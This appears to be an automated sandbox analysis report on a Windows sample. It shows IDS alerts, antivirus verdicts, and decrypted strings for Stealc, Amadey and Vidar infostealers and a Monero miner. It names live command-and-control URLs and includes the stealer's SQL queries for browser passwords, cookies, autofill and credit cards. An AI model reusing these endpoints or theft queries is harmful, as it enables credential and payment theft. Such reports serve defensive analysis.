Classtype:	A Network Trojan was detected

ETPRO COINMINER XMR CoinMiner Usage - Source IP: 192.168.2.4 - Destination IP: 141.94.96.71

Timestamp:	2024-07-24T02:38:50.945968+0200
SID:	2826930
Source Port:	49940
Destination Port:	3333
Protocol:	TCP
Classtype:	Crypto Currency Mining Activity Detected

ET MALWARE Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.4 - Destination IP: 85.28.47.31

Timestamp:	2024-07-24T02:38:58.407722+0200
SID:	2044246
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.4 - Destination IP: 77.91.77.82

Timestamp:	2024-07-24T02:40:08.565249+0200
SID:	2044696
Source Port:	49870
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.4 - Destination IP: 85.28.47.31

Timestamp:	2024-07-24T02:40:25.397871+0200
SID:	2044243
Source Port:	49903
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile - Source IP: 192.168.2.4 - Destination IP: 77.91.77.81

Timestamp:	2024-07-24T02:39:13.033688+0200
SID:	2019714
Source Port:	49731
Destination Port:	80
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET MALWARE Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.4 - Destination IP: 85.28.47.31

Timestamp:	2024-07-24T02:38:58.193741+0200
SID:	2044244
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.4 - Destination IP: 77.91.77.81

Timestamp:	2024-07-24T02:40:05.931072+0200
SID:	2856147
Source Port:	49866
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.4 - Destination IP: 77.91.77.81

Timestamp:	2024-07-24T02:40:18.440195+0200
SID:	2044696
Source Port:	49884
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE CoinMiner Domain in DNS Lookup (pool .supportxmr .com) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	2024-07-24T02:41:11.117701+0200
SID:	2047928
Source Port:	55650
Destination Port:	53
Protocol:	UDP
Classtype:	Crypto Currency Mining Activity Detected

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.4 - Destination IP: 85.28.47.31

Timestamp:	2024-07-24T02:38:58.005654+0200
SID:	2044243
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE CoinMiner Domain in DNS Lookup (pool .supportxmr .com) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	2024-07-24T02:40:43.464253+0200
SID:	2047928
Source Port:	62761
Destination Port:	53
Protocol:	UDP
Classtype:	Crypto Currency Mining Activity Detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://77.91.77.81/cost/go.exe	URL Reputation: Label: malware
Source: http://85.28.47.31/8405906461a5200c/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/Kiru9gu/index.phplF	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/soka/random.exe	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/Kiru9gu/index.php	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/Kiru9gu/index.phpp	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/Kiru9gu/index.phpi	Avira URL Cloud: Label: phishing
Source: http://85.28.47.31/8405906461a5200c/freebl3.dllr	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/Kiru9gu/index.phpt	Avira URL Cloud: Label: phishing
Source: http://85.28.47.31/8405906461a5200c/sqlite3.dlle	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/Kiru9gu/index.phpxN/r	Avira URL Cloud: Label: phishing
Source: http://85.28.47.31/8405906461a5200c/softokn3.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.31/8405906461a5200c/nss3.dll	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/Kiru9gu/index.phpMN	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/soka/random.exea	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/cost/num.exe	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/cost/go.exe#	Avira URL Cloud: Label: malware
Source: http://85.28.47.31/8405906461a5200c/vcruntime140.dllf	Avira URL Cloud: Label: malware
Source: http://85.28.47.31/8405906461a5200c/nss3.dllU	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\userBGCAFHCAKF.exe

Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 0.2.file.exe.25e0e67.1.raw.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://85.28.47.31silence/5499d72b3a3e55be.php"}
Source: 1a87deddda.exe.10656.49.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "85.28.47.31/5499d72b3a3e55be.php"}
Source: axplong.exe.11004.47.memstrmin	Malware Configuration Extractor: Amadey {"C2 url": ["http://77.91.77.81/Kiru9gu/index.php"]}

Multi AV Scanner detection for domain / URL

Source: pool.supportxmr.com	Virustotal: Detection: 8%	Perma Link
Source: http://85.28.47.31/8405906461a5200c/vcruntime140.dll	Virustotal: Detection: 17%	Perma Link
Source: http://77.91.77.81/Kiru9gu/index.php	Virustotal: Detection: 23%	Perma Link
Source: http://77.91.77.81/Kiru9gu/index.phpi	Virustotal: Detection: 5%	Perma Link
Source: http://85.28.47.31/8405906461a5200c/sqlite3.dlle	Virustotal: Detection: 20%	Perma Link
Source: http://77.91.77.81/soka/random.exe	Virustotal: Detection: 25%	Perma Link
Source: http://85.28.47.31/8405906461a5200c/freebl3.dllr	Virustotal: Detection: 20%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\OneDrive[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\num[1].exe	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1000343001\OneDrive.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	ReversingLabs: Detection: 57%
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	ReversingLabs: Detection: 57%

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 36%
Source: file.exe	Virustotal: Detection: 45%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\userBGCAFHCAKF.exe	Joe Sandbox ML: detected
Source: C:\Users\userBKFCAFCFBA.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GetProcAddress
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: LoadLibraryA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: lstrcatA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: OpenEventA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: CreateEventA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: CloseHandle
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: Sleep
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: VirtualFree
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GetSystemInfo
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: VirtualAlloc
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: HeapAlloc
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GetComputerNameA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: lstrcpyA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GetProcessHeap
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GetCurrentProcess
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: lstrlenA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: ExitProcess
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GetSystemTime
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: advapi32.dll
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: gdi32.dll
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: user32.dll
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: crypt32.dll
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: ntdll.dll
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GetUserNameA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: CreateDCA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GetDeviceCaps
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: ReleaseDC
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: sscanf
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: VMwareVMware
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: HAL9TH
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: JohnDoe
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: DISPLAY
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: http://85.28.47.31
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: silence
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: /5499d72b3a3e55be.php
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: /8405906461a5200c/
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: sila
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GetFileAttributesA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GlobalLock
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: HeapFree
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GetFileSize
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GlobalSize
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: IsWow64Process
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: Process32Next
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GetLocalTime
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: FreeLibrary
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: Process32First
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: DeleteFileA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: FindNextFileA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: LocalFree
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: FindClose
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: LocalAlloc
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GetFileSizeEx
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: ReadFile
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: SetFilePointer
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: WriteFile
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: CreateFileA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: FindFirstFileA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: CopyFileA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: VirtualProtect
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GetLastError
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: lstrcpynA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GlobalFree
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GlobalAlloc
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: OpenProcess
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: TerminateProcess
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: gdiplus.dll
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: ole32.dll
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: bcrypt.dll
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: wininet.dll
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: shlwapi.dll
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: shell32.dll
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: psapi.dll
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: SelectObject
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: BitBlt
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: DeleteObject
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: CreateCompatibleDC
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GdipGetImageEncoders
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GdiplusStartup
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GdiplusShutdown
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GdipSaveImageToStream
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GdipDisposeImage
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GdipFree
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GetHGlobalFromStream
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: CoUninitialize
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: CoInitialize
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: CoCreateInstance
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: BCryptDecrypt
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: BCryptSetProperty
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: BCryptDestroyKey
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GetWindowRect
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GetDesktopWindow
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GetDC
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: CloseWindow
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: wsprintfA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: EnumDisplayDevicesA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GetKeyboardLayoutList
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: CharToOemW
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: wsprintfW
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: RegQueryValueExA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: RegEnumKeyExA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: RegOpenKeyExA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: RegCloseKey
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: RegEnumValueA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: CryptBinaryToStringA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: CryptUnprotectData
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: SHGetFolderPathA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: ShellExecuteExA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: InternetOpenUrlA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: InternetConnectA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: InternetCloseHandle
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: InternetOpenA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: HttpSendRequestA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: HttpOpenRequestA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: InternetReadFile
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: InternetCrackUrlA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: StrCmpCA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: StrStrA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: StrCmpCW
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: PathMatchSpecA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: GetModuleFileNameExA
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: RmStartSession
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: RmRegisterResources
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: RmGetList
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: RmEndSession
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: sqlite3_open
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: sqlite3_prepare_v2
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: sqlite3_step
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: sqlite3_column_text
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: sqlite3_finalize
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: sqlite3_close
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: sqlite3_column_bytes
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: sqlite3_column_blob
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: encrypted_key
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: PATH
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: NSS_Init
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: NSS_Shutdown
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: PK11_FreeSlot
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: PK11_Authenticate
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: C:\ProgramData\
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: browser:
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: profile:
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: url:
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: login:
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: password:
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: Opera
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: OperaGX
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: Network
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: cookies
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: .txt
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: TRUE
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: FALSE
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: autofill
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: SELECT name, value FROM autofill
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: history
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: name:
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: month:
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: year:
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: card:
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: Cookies
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: Login Data
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: Web Data
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: History
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: logins.json
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: formSubmitURL
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: usernameField
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: encryptedUsername
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: encryptedPassword
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: guid
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: cookies.sqlite
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: formhistory.sqlite
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: places.sqlite
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: plugins
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: Local Extension Settings
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: Sync Extension Settings
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: IndexedDB
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: Opera Stable
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: Opera GX Stable
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: CURRENT
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: chrome-extension_
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: _0.indexeddb.leveldb
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: Local State
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: profiles.ini
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: chrome
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: opera
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: firefox
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: wallets
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: %08lX%04lX%lu
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: ProductName
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: ProcessorNameString
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: DisplayName
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: DisplayVersion
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: Network Info:
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: - IP: IP?
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: - Country: ISO?
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: System Summary:
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: - HWID:
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: - OS:
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: - Architecture:
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: - UserName:
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: - Computer Name:
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: - Local Time:
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: - UTC:
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: - Language:
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: - Keyboards:
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: - Laptop:
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: - Running Path:
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: - CPU:
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: - Threads:
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: - Cores:
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: - RAM:
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: - Display Resolution:
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: - GPU:
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: User Agents:
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: Installed Apps:
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: All Users:
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: Current User:
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: Process List:
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: system_info.txt
Source: 0.2.file.exe.25e0e67.1.raw.unpack	String decryptor: freebl3.dll
